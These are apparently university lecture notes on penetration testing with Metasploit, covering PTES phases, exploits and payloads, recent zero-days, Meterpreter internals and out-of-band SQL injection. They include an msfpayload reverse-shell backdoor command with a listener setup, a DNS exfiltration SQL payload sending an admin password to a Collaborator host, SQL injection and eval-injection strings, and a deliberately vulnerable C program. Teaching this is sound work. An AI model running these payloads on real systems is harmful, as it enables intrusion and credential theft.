Lecture 12 - Penetration Testing with Metasploit

Updated 21 Oct 2026

Introduction to Penetration Testing

  • Definition: Penetration testing is a method of evaluating the security of a computer system or network by simulating an attack.

Analogy: It's like hiring someone to break into your house (with permission) to see which doors and windows are unlocked — so you can fix them before a real burglar finds them.

Importance

  • Penetration tests are valuable for several reasons:
    • Determining the feasibility of a particular set of attack vectors.
    • Identifying higher-risk vulnerabilities which could lead to a security breach.
    • Identifying vulnerabilities (in general).
    • Testing the ability of network defenders to detect and respond.
    • Providing evidence to support increased investments in security personnel and technology.

Penetration Testing Execution Standard (PTES)

  • PTES (Penetration Testing Execution Standard):
    • Aimed to provide security standards for business organizations and security service providers.
    • Laid down a standard for performing penetration tests (Beta).
    • Source: http://www.pentest-standard.org/

Penetration Testing Execution Methodology

  • The 7 phases of a penetration test:
    1. Pre-engagement Interactions
    2. Intelligence Gathering
    3. Threat Modeling / Enumeration
    4. Vulnerability Analysis
    5. Exploitation
    6. Post Exploitation
    7. Reporting

Analogy: Think of it as planning a heist in a movie — first you agree on the job (pre-engagement), case the building (intelligence), figure out the weak points (threat modeling), confirm they're really weak (vuln analysis), break in (exploitation), grab the goods and leave a way back (post-exploitation), then write up how it was done (reporting).


Pre-Engagement Interactions

  • Mainly involves client interaction.
  • Engagement Interactions.
  • Agenda focuses on the Penetration Testing Road Map.
  • Questionnaires.
  • Payment Terms.

Intelligence Gathering

  • Main attribute is reconnaissance (Information Gathering) in a penetration test.
  • Reflects (feeds into) other stages of penetration testing.
  • Different tools and scripts will be used for different platforms for information gathering.

Threat Modeling / Enumeration

  • Depends on intelligence-gathered information and the pre-engagement information.

Methodology

  • Business Asset Analysis
  • Business Process Analysis
  • Threat Agents / Community Analysis
  • Threat Capability Analysis
  • Motivation Modeling
  • Finding relevant news of comparable organizations being compromised

Vulnerability Analysis

  • Involves discovering flaws in the target system.
  • Different tools and scripts will be used for performing vulnerability analysis on different platforms.
  • A threat level classification needs to be created for the exploitation phase.
  • Priority should be given based on threat level — need to analyze and exploit threats accordingly.
  • Directly reflects into the exploitation phase.

Exploitation

  • Completely depends on the vulnerability analysis phase and mainly focuses on target exploitation.
  • Exploits the target with an appropriate exploit and with a compatibility check.
  • The pentester needs to evade security systems — bypass and trigger the exploit for successful exploitation.

Post Exploitation

  • Involves extending the attack.
  • The pen-tester can analyze further information during post exploitation.
  • Might include "juicy information" (sensitive/valuable data).
  • Using the post-exploitation phase, the attacker can enhance persistency over the compromised system.

Reporting

  • Consists of a penetration testing executive summary and a technical report.
  • Executive summary mainly focuses on:
    • Threat level severity
    • General findings
    • Recommendation summary
    • Road map
  • Technical report carries out how vulnerability analysis, exploitation, and post exploitation were done.
  • Based on reporting, the technical team can further move towards patch management.

Analogy: The executive summary is the "headline + verdict" for the managers who sign the cheques; the technical report is the "full lab notebook" for the engineers who have to fix things.


Setting up Penetration Testing Lab

Setting up Penetration Lab

  • Will focus on creation of our own virtual test beds and third-party ones.
  • Every test bed is added with multiple vulnerabilities.
  • Everything will be on the safe side (No Loss) — i.e. isolated so nothing real gets damaged.
  • Running with different sets of operating systems with different configurations and added vulnerabilities.

Virtualization

  • Definition (Wikipedia): Virtualization, in computing, refers to the act of creating a virtual (rather than actual) version of something, including but not limited to a virtual computer hardware platform, operating system (OS), storage device, or computer network resources.

Requirements for creating a virtualization environment

  • Virtualization software (VirtualBox, VMware, Hypervisor)
  • RAM (Minimum 4 GB)
  • Virtual test beds or operating system installer ISO images
  • Good processor above 2.8 GHz

Buzz Words (Virtualization)

TermMeaning
Host Operating SystemThe main operating system which got installed in a computer system
Guest Operating SystemAny operating system which got installed by using virtualization software
SnapshotSaving the state of a virtual machine
CloneCopy the state of a virtual machine

Snapshot vs Clone analogy: A snapshot is like a "save point" in a video game you can jump back to; a clone is like photocopying the whole save file into a brand-new, separate game.


Metasploit 101

  • Introduces the Metasploit Framework.
  • Covers Buzzwords, Architecture, Framework Architecture, Interfaces, and Modules.
  • Scope for exploiting target vulnerabilities using built-in exploits and payloads.

Buzz Words (Metasploit)

  • Vulnerability: A weakness existing in a system which could be compromised.
    • E.g. Microsoft SMB (network sharing protocol).
  • Exploit: Code which works on the target vulnerability system.
    • E.g. EternalBlue (exploit).
  • Payload: Actual code that lets an attacker gain access after exploitation.
    • E.g. WannaCrypt → encrypts the disk/data.
  • Key idea: Exploits give you the ability to "pop a shell / run your payload code."

Exploits vs Payloads

  • An exploit is a piece of code written to take advantage of a particular vulnerability.
  • An exploit takes place after a vulnerability is discovered. It utilizes the vulnerability to gain unauthorized access to a system.
  • A payload is a piece of code to be executed through said exploit.
  • Each exploit can be attached with various payloads like reverse or bind shells, the Meterpreter shell, etc.

Example — Analogy (Burglary)

  • A hacker will exploit a vulnerability to gain access and obtain his desired payload.

Example One

  • Vulnerability: Broken lock
  • Exploit: Use broken lock to get in
  • Payload: The TV is taken

Example Two

  • Vulnerability: Broken lock
  • Exploit: Use broken lock to get in
  • Payload: The ring is stolen
  • Key point: If any one of the three parts changes, then a different name is assigned to the vulnerability.
    • Example: WannaCry and Petya use the same vulnerability and exploit, but each has a different payload.

Exploit Types

  • Injection exploits (SQLi, command injection) — inject crafted input to force server behavior.
  • Memory exploits (buffer overflow, use-after-free) — corrupt control flow to jump to attacker code.
  • Logic / auth exploits (privilege escalation, auth bypass) — abuse logic flaws to gain access.
  • Protocol / config exploits (XXE, SSRF, insecure deserialization) — cause server to act on attacker input.

Payload Types

  • Interactive shells
    • Reverse shell: target connects back to attacker.
    • Bind shell: target listens; attacker connects in.
  • Agent frameworks: Meterpreter, Cobalt Strike beacon (provide extensive post-exploit capabilities).
  • Stagers vs stages
    • Stager: small initial payload that establishes a channel (e.g., download a larger payload).
    • Stage: the larger, feature-rich payload delivered by the stager.
  • Non-interactive payloads: download & execute (dropper), create user account, exfiltrate files via FTP/HTTP/DNS.
  • Fileless payloads: Living-off-the-land (LOLBins), PowerShell in-memory code, reflective DLL injection.

Recap

  • An exploit is the method (bug, misconfiguration, or technique) that lets an attacker take advantage of a vulnerability.
    • = entry mechanism. Examples: SQL injection string, buffer-overflow exploit, XXE payload that causes an external HTTP/DNS request, RCE via deserialization flaw, CSRF forcing state change.
  • A payload is the code or action the attacker runs after successful exploitation (e.g., a shell, backdoor, data exfiltration routine).
    • = what runs after entry. Examples: reverse shell, Meterpreter session, command to dump /etc/passwd, file exfiltration routine, persistence installer.


Shell Command

Shell Code

  • What is different between shellcode and exploit code?
    • Shellcodes are injected into computer memory. After the exploit code causes what would normally be a critical error in the targeted program, the program jumps to the shellcode and is tricked into executing the attacker's commands — all with the privileges of the process being exploited.
  • What is the difference between shellcode and payload?
    • Shellcode = machine code, often used as a payload for memory-corruption exploits.
    • All shellcode is payload, but not all payload is shellcode.
    • The payload is data sent to the target to cause some harm. Shellcode can also be defined as such, but it has the specific goal of spawning a shell on the target's box.
  • Reference: https://www.exploit-db.com/shellcodes

Attack through Exploits

  • An exploit is a code that takes advantage of a software vulnerability or security flaw.
  • It is written either by:
    • Security researchers as a proof-of-concept threat, or
    • Malicious actors for use in their operations.
  • When used, exploits allow an intruder to:
    • Remotely access a network
    • Gain elevated privileges
    • Move deeper into the network


Zero-Day Exploits and Exploit Kits

  • An exploit is called a zero-day exploit when it is used to attack a vulnerability that has been identified but not yet patched — also known as a zero-day vulnerability.

Analogy: It's "day zero" of the defenders knowing — the attacker found the hole before the vendor had a single day to fix it.

  • Exploits are often incorporated into malware, allowing them to propagate and run intricate routines on vulnerable computers.
  • Exploit kits are popular in the cybercriminal underground because they provide:
    • Management consoles
    • An array of exploits that target different applications
    • Several add-on functions that make it easier to launch an attack
  • They were first offered in the Russian underground in 2006.

Examples of Zero-Day Exploits

Google Chrome Zero-Day Exploits (V8 JavaScript Engine)

  • Years Discovered: Multiple years, including 2021 and 2022.
  • Vulnerability: Chrome's V8 JavaScript engine has been a common target for zero-day exploits, allowing attackers to execute arbitrary code on the victim's device by simply visiting a malicious website.
  • Impact: Successful exploitation allowed attackers to install malware, spy on users, or access sensitive information.
  • Use in Attacks: Often used in targeted attacks by advanced persistent threat (APT) groups and occasionally in broader exploit kits.
  • Patch Released: Google frequently releases urgent patches in response to discovered zero-day vulnerabilities in Chrome.

Arbitrary Code Execution (ACE)

  • An attacker can cause the victim's system to execute attacker-chosen code or commands, rather than only the operations intended by the developer.
  • The executed code may include:
    • Existing legitimate programs or OS commands
    • Application functionality used in an unintended way
    • Attacker-supplied code or malware
  • Depending on the privileges of the compromised process, an attacker may:
    • Create a reverse shell or execute system commands
    • Access or steal sensitive data
    • Install malware or ransomware
    • Create accounts or disable security tools (if sufficient privileges are available)
  • Key point: ACE gives attacker-chosen execution, but not automatically root / Administrator privileges.
    • ACE describes control of execution; privilege escalation describes gaining a higher security context.

iOS Zero-Day Vulnerabilities (e.g., Pegasus Spyware Exploits)

  • Year Discovered: Various, including 2021.
  • Vulnerability: The NSO Group's Pegasus spyware leveraged zero-day vulnerabilities in Apple's iOS operating system, including iMessage and WebKit vulnerabilities.
  • Impact: Pegasus exploits allowed attackers to install spyware on iPhones remotely, granting access to the device's camera, microphone, messages, location, and other sensitive data without user interaction.
  • Use in Attacks: Pegasus was used by governments and other entities to spy on journalists, activists, and political figures.
  • Patch Released: Apple released patches addressing these zero-day vulnerabilities, including an emergency fix for a zero-click exploit in iMessage (CVE-2021-30860).

Log4Shell (Apache Log4j Vulnerability — CVE-2021-44228)

  • Year Discovered: 2021.
  • Vulnerability: Log4Shell was a zero-day vulnerability in the Apache Log4j library, a popular logging tool for Java applications.
  • Impact: The vulnerability allowed attackers to perform remote code execution by simply sending a specially crafted string to a server that logs input — making it a severe threat to countless applications and services that use Log4j.
  • Use in Attacks: Following its discovery, Log4Shell was widely exploited, particularly by ransomware groups, botnets, and cryptocurrency miners.
  • Patch Released: Apache released a patch soon after discovery, but due to its prevalence across thousands of applications, mitigation and patching took considerable time and effort for affected organizations.

Recent Zero-Day Examples (2025)

CVE(s)DescriptionExploited?Details / Notes
CVE-2025-61882Remote code execution in Oracle E-Business Suite's BI Publisher Integration / Concurrent Processing component.Yes — mass-exploitation campaign by Cl0p.CVSS ~9.8; unauthenticated remote attacker.
CVE-2025-6554 / CVE-2025-6558Multiple zero-days in Google Chrome's V8/JavaScript engine and sandbox (e.g., type-confusion flaw).Yes — Google confirms exploit(s) in the wild.Affected Chromium browsers broadly; sandbox escape potential.
CVE-2025-21043Out-of-bounds write in a Samsung image-processing library (affects Android 13–16 Samsung devices).Yes — Samsung indicated exploit in the wild (e.g., via WhatsApp usage).High risk on affected Samsung devices.
CVE-2025-6543Memory overflow / unintended control-flow vulnerability enabling RCE in Citrix NetScaler ADC / NetScaler Gateway appliances.Yes — Vendor confirmed exploitation prior to public patching.Critical network appliance vulnerability; patch immediately.
CVE-2025-53770Critical zero-day in Microsoft SharePoint Server on-premises allowing RCE via ToolShell chain of two bugs.Yes — Microsoft reported active exploitation.On-premises SharePoint at risk; especially high-value targets.
CVE-2025-32756Arbitrary code execution remote vulnerability in multiple Fortinet products (e.g., FortiVoice, FortiMail) via HTTP request stack overflow.Yes — Observed threat actor exploitation.Network edge / VPN / security appliance risk.
CVE-2025-24990 & CVE-2025-59230Two zero-day vulnerabilities in Microsoft Windows (Agere Modem Driver and RasMan) patched Oct 2025.Yes — Microsoft listed as actively exploited zero-days.Windows systems with these components/drivers need immediate patch.

Each CVE represents the vulnerability


Penetration Testing using Metasploit

  • Metasploit is a widely used tool for development and testing of vulnerabilities.
  • Buzzing word in the security community.
  • Used for:
    • Penetration Testing
    • IDS signature development
    • Exploit Development

Why we need / opt for Metasploit

  • Widely accepted tool for testing vulnerabilities.
  • Makes complex tasks easier.
  • Possesses a rich set of modules organized in a systematic manner.
  • Has regular updates.
  • Contains different types: 2000+ exploits, 1000+ payloads, 1000+ auxiliary modules.

Metasploit Architecture

  • Layers / components:
    • Tools → feed into Libraries (REX).
    • Plugins → feed into Libraries (MSF Base).
    • Libraries: REX → MSFCORE → MSF BASE.
    • Modules (feed up into MSF BASE): PAYLOADS, EXPLOITS, ENCODERS, POST-Mods, Auxiliary.
    • Interfaces (connect into MSF Base): Console, CLI, WEB, GUI, Armitage.


Exploits (Module Detail)

  • Actual code which works on the target vulnerability system.
  • MSF has a modular organization of exploits based on OS and service classification.
  • An exploit module takes advantage of a vulnerability to provide access to the target system. Exploit modules include buffer overflow, code injection, and web application exploits.

Exploit Ranking Values

  1. ManualRanking
  2. LowRanking
  3. AverageRanking
  4. NormalRanking
  5. GoodRanking
  6. GreatRanking
  7. ExcellentRanking
  • Source: https://dev.metasploit.com/redmine/projects/framework/wiki/Exploit_Ranking

Buffer Overflow

  • Example vulnerable C program:
#include <stdio.h>
#include <string.h>
 
void vulnerable_function(char *input) {
    char buffer[10];
    strcpy(buffer, input);   // No bounds checking here
    printf("Buffer content: %s\n", buffer);
}
 
int main(int argc, char *argv[]) {
    if (argc > 1) {
        vulnerable_function(argv[1]);
    } else {
        printf("Please provide an input argument.\n");
    }
    return 0;
}

He showed the code, and ask whether it’s payload, vulnerability, shellcode? What? → Vulnerability

  • Why it's dangerous: If you run this program with a long input argument, it may overwrite memory outside of buffer, potentially leading to arbitrary code execution or a crash.

Analogy: buffer[10] is a glass that holds 10 units of water. If you pour in 50 units (strcpy with no bounds check), the overflow spills onto the table and ruins whatever important papers (adjacent memory / return address) are sitting next to it.


Code Injection

  • Example of unsafe Python eval:
# Unsafe eval example
user_input = input("Enter a mathematical expression: ")
print("Result:", eval(user_input))
  • Explanation: If the user enters something like __import__('os').system('ls'), it could execute system commands. This illustrates how unvalidated input can lead to code injection.
  • Safe Alternative: Avoid using eval with untrusted input, or use a safer parsing approach.

Web Application Exploits (SQL Injection)

  • Example of vulnerable PHP login code:
<?php
// Vulnerable code
$username = $_GET['username'];
$password = $_GET['password'];
 
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);
 
if (mysqli_num_rows($result) > 0) {
    echo "Login successful!";
} else {
    echo "Invalid credentials.";
}
?>
  • Attack: If an attacker enters ' OR '1'='1 as both username and password, the query becomes:
SELECT * FROM users WHERE username='' OR '1'='1' AND password='' OR '1'='1';
  • Analogy: The login form asks "is the password correct?" and the attacker rewrites the question into "is the password correct, OR is 1 equal to 1?" — since 1 always equals 1, the whole condition is always true and the door swings open.


Exploits Ranking (Detailed)

  1. ManualRanking — Exploit is so unstable or difficult to exploit that it is basically a DoS.
  2. LowRanking — Exploit is nearly impossible to exploit (or under 50%) for common platforms.
  3. AverageRanking — Exploit is generally unreliable or difficult to exploit; then AverageRanking should be used.
  4. NormalRanking — Exploit is otherwise reliable, but depends on a specific version and can't reliably auto-detect.
  5. GoodRanking — Exploit has a default target and it is the "common case" for this type of software.
  6. GreatRanking — Exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address after a version check.
  7. ExcellentRanking — Exploit will never crash the service.
  • Source: https://dev.metasploit.com/redmine/projects/framework/wiki/Exploit_Ranking

Analogy: Ranking is a reliability rating like a weather forecast — ManualRanking is "the ground will shake and break things," while ExcellentRanking is "clear skies, nothing crashes."


Payloads

  • Three categories of payloads:

Singles

  • Self-contained payloads that do a specific task.
  • A self-contained payload that contains both the connection logic and full functionality in one binary (no second download).

Stagers

  • Small payload: bridges connection establishment.
  • Sets up the network between the Hacker and the victim (target system), or between the PenTester and the target (test) system.

Stages

  • Larger payload components that are downloaded by Stager modules.
  • A feature-rich payload that provides the actual post-exploit capabilities (e.g., Meterpreter, command shell, full backdoor).

Analogy: A stager is like a tiny advance scout who throws a rope across the wall and secures it; the stage is the full team of operatives who then climb that rope and do the real work.


Payload Staging Process

  1. Send exploit with stager — attacker → target (Windows).
  2. Download stage — target → attacker (pulls the larger payload).
  3. Encrypted C2 — attacker ↔ target (ongoing encrypted command & control channel).


Meterpreter

Provide interactive shell (program allow user to interact with the OS)

  • Meterpreter is a Metasploit attack payload that provides an interactive shell from which an attacker can explore the target machine and execute code.
  • Deployed using in-memory DLL injection. As a result, Meterpreter resides entirely in memory and writes nothing to disk.
  • No new processes are created — Meterpreter injects itself into the compromised process, from which it can migrate to other running processes.
  • As a result, the forensic footprint of an attack is very limited.

Analogy: Meterpreter is a ghost — it never leaves footprints on the floor (disk) and can possess different people (processes) to stay hidden.

How does it work?

  • The target executes the initial stager. This is usually one of bind, reverse, findtag, passivex, etc.
  • The stager loads the DLL prefixed with Reflective. The Reflective stub handles the loading/injection of the DLL.
  • The Meterpreter core initializes, establishes a TLS link over the socket, and sends a GET. Metasploit receives this GET and configures the client.
  • Lastly, Meterpreter loads extensions. It will always load stdapi and will load priv if the module gives administrative rights. All extensions are loaded over TLS using a TLV protocol.

How Meterpreter Works in Metasploit (Phases)

  1. Exploitation Phase:
    • The attacker selects and launches an exploit in Metasploit targeting a vulnerable service on the victim machine.
    • The Meterpreter payload is delivered as part of the exploit.
  2. Payload Execution:
    • After the exploit is successful, the Meterpreter payload is injected into memory, creating an in-memory session that connects back to the attacker's system.
  3. Interactive Session:
    • Once Meterpreter is running, the attacker can interact with the compromised machine using a command shell in Metasploit.
    • The attacker can then execute a wide range of commands and modules to further exploit the system, gather information, and achieve specific objectives.

Common Commands in Meterpreter

  • sysinfo : Displays information about the target system.
  • getuid : Shows the user context that Meterpreter is running under.
  • ps : Lists running processes on the target machine.
  • shell : Spawns a command shell on the target system.
  • migrate : Moves Meterpreter to a different process, which can help maintain persistence or evade detection.
  • hashdump : Dumps password hashes from the target.
  • screenshare and webcam_snap : Capture screenshots or take photos from the target's webcam.
  • keyscan_start and keyscan_dump : Start and dump keystrokes from the target.
  • pivoting : Set up routes to reach other machines through the compromised host.

Adding Runtime Features = Loading Extensions by Meterpreter

  • The client uploads the DLL over the socket.
  • The server running on the victim loads the DLL in-memory and initializes it.
  • The new extension registers itself with the server.
  • The client (on the attacker's machine) loads the local extension API and can now call the extension's functions.

In-Memory DLL Injection

  • In computer programming, DLL injection is a technique used for running code within the address space of another process by forcing it to load a dynamic-link library.
  • DLL injection is often used by external programs to influence the behavior of another program in a way its authors did not anticipate or intend.
  • Steps:
    • Step 1 — Attach: Malware attaches to the Process.
    • Step 2 — Allocate Memory for DLL path: Malware allocates memory inside the Process.
    • Step 3 — Find address of LoadLibrary in process's space: locate LoadLibrary (e.g. address 0x11111111).
    • Step 4 — Call CreateRemoteThread: forces the process to run the DLL.


What is Meterpreter reverse_tcp?

  • Meterpreter uses a reverse_tcp shell, which means it connects to a listener on the attacker's machine.
  • There are two popular types of shells: bind and reverse.
    • Bind shell: opens up a new service on the target machine, and requires the attacker to connect to it in order to start a session.
    • Reverse shell (also known as connect-back): requires the attacker to first set up a listener to which the target machine can connect.

Analogy — why reverse shells beat bind shells: A bind shell is like the target leaving a door unlocked and waiting for you to come knock — but firewalls usually block inbound knocks. A reverse shell is the target calling you from inside — outbound calls are far more likely to get through the firewall.


Meterpreter Design Goals

Stealthy (not easy to discover)

  • Resides entirely in memory.
  • Writes nothing to the disk.
  • No processes are created because it injects itself into the compromised process.
  • Uses encrypted communication (TLS).
  • Provides limited forensic evidence.

Powerful

  • Utilizes an active communication channel.
  • Uses the TLV protocol.

Extensible

  • Features can be augmented at runtime and are loaded over the network.
  • New features / new extensions can be added to Meterpreter without having to rebuild it.

TLV Format

  • TLV = Type, Length, Value.
    1. Type:
      • Indicates the type of data being transmitted, such as a command, response, or data item (e.g., strings, integers, or binary data).
      • Examples of types include identifiers for commands like "get process list" or "execute shell command."
    2. Length:
      • Specifies the length of the data in bytes, indicating how many bytes follow this field.
      • By defining the length, the protocol knows how much data to read, ensuring no extra data is mistakenly processed.
    3. Value:
      • This is the actual data or payload being transmitted.
      • The value can vary greatly depending on the command or response. It could be text, binary data, JSON structures, or any other data type required by Meterpreter's operations.

Post Exploitation (Metasploit)

  • Critical component of a penetration test.
  • Assists the pen tester to gather information about the exploited system.
  • Enhances the attack in the targeted environment.
  • Can be extended in the pivoting stage.
  • MSF has inbuilt and external scripts to perform post exploitation.
  • Varied for different OS types.


Auxiliary Modules

  • MSF Auxiliary contains a wide variety of modules related to different services, used for doing specific tasks.
  • Categories of Auxiliary Modules:
    • admin
    • crawlers
    • scanners
    • fuzzers
    • sniffers ....
  • Example: Scanning for available directories existing in a web server.

Example: cert Module

  • cert: This module can be used to enumerate whether the certificate on the target web application is active or expired.
  • Its auxiliary module name is auxiliary/scanner/http/cert.
  • Module options:
    • ISSUER (.*) — Show a warning if the Issuer doesn't match this regex (required: yes).
    • RHOSTS — The target address range or CIDR identifier (required: yes).
    • RPORT (443) — The target port (required: yes).
    • SHOWALL (false) — Show all certificates (issuer, time) regardless of match (required: no).
    • THREADS (1) — The number of concurrent threads (required: yes).
msf > use auxiliary/scanner/http/cert
msf auxiliary(cert) > show options
msf auxiliary(cert) > set RHOSTS demo.testfire.net
msf auxiliary(cert) > run


MSF Tools and Plugins

  • MSF contains inbuilt and third-party tools which are widely used during regular pentests at runtime.
  • Importing a Nessus scan report, which can later be used for launching an attack based on the report.
  • Inbuilt MSF tools come handy especially during the post exploitation phase.
    • Example: memdump


MSF Interfaces

  • Console — the standard msfconsole interactive interface.
  • CLI — command-line interface.
  • WEB — web-based interface.
  • GUI — graphical user interface.
  • Armitage — graphical cyber-attack management tool.

Armitage

  • Armitage is very user-friendly. Its GUI has three distinct areas: Targets, Console, and Modules.
    • Targets: lists all the machines that you have discovered and those you are working with. The hacked targets have a red color with a thunderstorm on them. After you have hacked a target, you can right-click on it and continue exploring (e.g., browsing the folders).
    • Console: provides a view for the folders. Just by clicking on it, you can directly navigate to the folders without using any Metasploit commands.
    • Modules: the section that lists the module of vulnerabilities.


Meterpreter (Detailed)

  • It's a default go-to payload for Windows.
  • Provides an enhanced command shell for the attacker.
  • Consists of a default set of core commands.
  • Can be extended at runtime by shipping DLLs onto the victim machine.
  • Provides a basic post-exploitation API.

Working of Meterpreter

  • Getting a Meterpreter shell undergoes 3 different stages:
    1. Sends exploit + Stage 1 Payload.
    2. Sends DLL injection payload.
    3. Meterpreter DLL starts communication.

Working with Meterpreter (Command Categories)

  • Covers usage of Meterpreter:
    • Meterpreter basics
    • Core Commands
    • File System Commands
    • Networking Commands
    • System Commands
    • User Interface Commands

Launching Attack

Stage 1 — Creating Executable Backdoor

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.206.159 LPORT=44444 X > /var/www/evil.exe
root@kali:# apachectl start

Stage 2 — Enabling listener to connect back to the attacker's machine

root@kali:# msfconsole
 
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.206.159
msf > set LPORT 44444
msf > exploit
  • Key terms:
    • LHOST = the attacker's (listener's) IP address.
    • LPORT = the attacker's listening port.
    • exploit/multi/handler = the generic handler that catches the incoming reverse connection.

Metasploit vs Burp Suite

FeatureMetasploitBurp Suite
Primary PurposePenetration Testing, ExploitationWeb Application Security Testing
Target FocusSystem and Network-LevelApplication (Web Layer)
Modules / ToolsExploits, Payloads, MeterpreterProxy, Intruder, Scanner, Repeater
WorkflowCLI-Based (msfconsole)GUI-Based
Vulnerabilities AddressedSystem-level (e.g., RCE, BOF)Web-specific (e.g., XSS, SQLi)
AutomationLimited ScanningAutomated Web Vulnerability Scanner
Intended UsersPenetration Testers, Red TeamsWeb App Testers, Bug Bounty Hunters
CostFree Community, Paid ProFree, Paid Pro and Enterprise Versions

CompTIA PenTest+ Certification

  • Positioned at the Intermediate level in CompTIA's pathway.
  • Core Skills Certifications path: IT Fundamentals → A+ → Network+ → Security+ → (branches to) PenTest+ / CySA+ (both Intermediate) → CASP (Advanced).

Best Penetration Tester Certifications

  • GPEN — GIAC Penetration Tester Certification
  • CEH — Certified Ethical Hacker
  • OSCP — OffSec's Penetration Testing with Kali Linux Certification
  • CPT — Certified Penetration Tester Certification

Industry Impact and Exam Comparison with PenTest+

OSCP

  • Compared to the OSCP, the PenTest+ has some conceptual overlap, but is ultimately a precursor rather than an equivalent.
  • The OSCP's exam is entirely hands-on, making it a more definitive proof of skill, and takes on more advanced concepts, such as performing buffer overflows.
  • One advantage the PenTest+ has is its coverage of nontechnical business and project concepts, which the OSCP only lightly touches on.
  • The cost of the OSCP is between double and triple the CompTIA exam, but it includes a full course and lab accessto practice.

GPEN

  • The GPEN is probably the most comparable to the PenTest+ in both format (multiple-choice) and content, although it has more of a technical focus.
  • While CompTIA provides study material, GIAC certifications have accompanying SANS training courses that are highly reputable and fully inclusive of the exam content — at a cost, as the exams and courses are notoriously expensive.

CEH

  • The PenTest+ appears to be created to take on the same industry requirements that the CEH meets, but that is where the similarities end.
  • The CEH is marketed as a penetration testing certification but ends up being a vocabulary test on hacking tools.
  • Comparing it with CompTIA's latest offering is inappropriate, as the CEH's difficulty is more on par with the Security+.
  • EC-Council charges more than double CompTIA does for an exam but includes a training course.

PenTest Certification Comparison Table

PenTest+OSCPGPENCEH
Multiple Choice✓✓✓
Hands-on–✓
Accompanying Course✓✓✓
Advanced Concepts✓✓✓
Non-technical Topics✓–
Costs$$$$$$$$
  • https://certification.comptia.org/certifications/pentest
  • https://certification.comptia.org/certifications/security
  • https://certification.comptia.org/certifications/cybersecurity-analyst
  • https://www.offensive-security.com/information-security-certifications/oscp-offensive-security-certified-professional/
  • https://www.giac.org/certification/penetration-tester-gpen
  • https://www.eccouncil.org/programs/certified-ethical-hacker-ceh/

Out-of-band (OOB) Attack

  • Also known as OOB, these are a series of alternative ways that an attacker uses to exploit a vulnerability that can't be detected by a traditional HTTP request-response interaction.
  • They're mostly found in web applications and REST APIs.
  • Some of them are:
    • Blind server-side XML/SOAP injection
    • Blind XSS (delayed XSS)
    • Host header attack
    • Out-of-band remote code execution (OOB RCE)
    • Out-of-band SQL Injection (OOB SQLi)
    • Email header injection
    • Server-side request forgery (SSRF)
    • XML External Entity injection (XXE)
    • OS Code injection: OOB
    • XXE: Out of Band

Analogy: A normal attack is a phone call where you ask a question and hear the answer on the _same_line. An OOB attack is when you ask the question on one line but the answer gets mailed to a separate PO box you control — useful when the original line stays silent (blind).


Out-of-band SQL Injection

  • Out-of-band SQL injection occurs when an attacker is unable to use the same channel to launch the attack and gather results.
  • The database server can send data to an attacker with the ability to make DNS or HTTP requests.
  • Flow:
    1. Attacker injects malicious SQL command → Web Server.
    2. Web Server processes injected command → Database Server.
    3. Database Server makes an outbound request → Listening Server.
    4. Listening Server collects captured information → Attacker.

How are Out-of-Band vulnerabilities exploited by attackers?

  • Criminals don't get the output of the vulnerability in the direct response to the vulnerable request.
  • The OOB techniques often require a vulnerable entity to generate an outbound TCP/UDP/ICMP request, which then allows an attacker to exfiltrate data.
  • Example: In an OOB SQL injection, the information is obtained through a different channel than the one used to inject the SQL statement (e.g., injected through an email and obtained through the web interface).
  • The success of an OOB attack is based on the egress firewall rules — i.e., which outbound requests are permitted from the vulnerable system and the perimeter firewall.

How to identify Out-of-Band vulnerabilities through testing?

  • DNS technique
    • Using DNS is a common go-to technique to detect and exploit OOB vulnerabilities.
    • For instance, OS Code injection, XXE, and SQL Injection can be detected by following a series of steps on DNS resolutions.
  • OAST (Out-of-band Application Security Testing) is a method for finding exploitable vulnerabilities in a web application by forcing a target to call back to a piece of infrastructure controlled by the tester.

DNS Based Exfiltration

  • Example: DNS Based Exfiltration payload:
SELECT+password+FROM+users+WHERE+username%3d'administrator' INTO OUTFILE '\\qwqdu0hle7fue507e75dfaenler4ft.burpcollaborator.net\a'
  • In this example, the DNS protocol was used, and the Burp Collaborator server is used to listen and capture outbound requests initiated from the database system.
  • This query was created thinking the target database is MySQL.
  • This query reads the password for the Administrator user, appends a Collaborator subdomain, and triggers a DNS lookup.
  • The DNS lookup result will reveal the password that belongs to the administrator (smuggled out inside the subdomain of the DNS request).

Analogy: The database can't speak to the attacker directly, so it whispers the secret password inside the address of a letter it mails out — the attacker owns the mailroom (Collaborator) and simply reads the address on every envelope.


Possible causes to use OOB injection

  • Lack of input validation in web applications.
  • Target database in a network environment that allows sending outgoing requests (DNS, HTTP) without security restrictions.
  • Sufficient privileges to initiate an outbound request.

Prevent OOB SQLi

  • Input validation for client and server-side.
  • Proper error handling to avoid displaying detailed error information.
  • Review network and security architecture design.
  • Assigning the database account based on the least privilege principle.
  • Implementation of Web Application Firewall (WAF) and Intrusion Prevention System (IPS) for security control.
  • Continuous monitoring for anomalies and proper incident response processes as the safety net of the controls.